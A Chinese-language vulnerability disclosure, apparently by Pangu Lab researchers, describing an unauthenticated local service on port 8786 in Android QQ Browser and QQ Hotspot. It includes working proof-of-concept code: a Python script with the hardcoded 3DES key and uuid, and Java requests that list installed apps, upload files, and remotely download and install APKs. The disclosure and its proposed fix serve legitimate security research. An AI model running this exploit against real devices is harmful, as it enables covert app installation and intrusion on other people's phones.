漏洞說明
安卓版QQ瀏覽器,QQ熱點等應用程序在本地wifi開始時,會監聽本地8786端口,且監聽本地所有ip地址。當攻擊方和被攻擊方處于同一局域網環境時,通過該接口,可在局域網內運行QQ瀏覽器,QQ熱點的設備中上傳數據、啟動應用安裝等。當這些應用擁有root權限時,可靜默安裝移動應用。攻擊方和被攻擊方處于不同局域網環境時,可通過惡意鏈接,遠程植入,感染與被攻擊方所在局域網內所有運行安卓版QQ瀏覽器,QQ熱點等應用的主機。
漏洞詳情
發現過程: 通過Janus平臺搜索發現,QQ瀏覽器會在本地開啟服務。
應用在獲取到連接時會在handle方法進行處理。
通過bind命令,可以通過連接驗證。然后利用其他命令,如downloadandinstall進行遠程控制。
漏洞證明
1、 遠程獲取已安裝應用列表。
#!/usr/bin/env python2 # -*- coding: utf-8 -*- import requests import base64 from binascii import b2a_hex, a2b_hex from pyDes import * payload = "" x_uuid = "d661d51862c23e397d14cb0eb2bf46f4" key = "kM7hYp8lE69UjidhlPbD98Pm" def encode_(s): e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5) r = e_scheme.encrypt(s) return base64.b64encode(r) def decode_(s): b = base64.b64decode(s) e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5) return e_scheme.decrypt(b) def req(payload): headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded', 'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'} try: r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers) r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid) except: print "Error" print r.status_code print r.content if r != '': print decode_(r.content) print r.headers if __name__ == "__main__": stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}") stage2 = encode_(stage1) req(stage2) 2、遠程下載、安裝應用。
String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
+ "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
+ "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
+ "'autoOpen':'true',"
+ "'installBySys':'false',"
//+ "'fileFolderPath':'',"
+ "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
+ "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));
3、其他如上傳文件等均可執行。
String fileContent=Util.readFileByLines("D:\\迅雷下載\\w.apk"); resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2)); resp=(doPost("http://192.168.31.155:8786/upload? uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));
修復方案
結合這兩款應用的應用場景發現,在鑒權方面并沒有多大的修復空間(這兩款應用都通過2次的3DES加密交換uuid,對第三方接入進行鑒權)。因此,我們建議開發者在第三方接入時,給用戶必要的交互提示警告,確保經過用戶授權才可以調用相關接口,從流程上對這個問題進行修復。 通過在盤古的Janus平臺檢索發現,有兩款騰訊應用受此漏洞影響。分別是QQ瀏覽器和QQ熱點。
其中QQ瀏覽器的影響比較大,測試發現包括最新版的很多版本都受這個漏洞的影響。
漏洞發現者
趙帥,盤古實驗室研究員 卜文奇,盤古實驗室實習研究員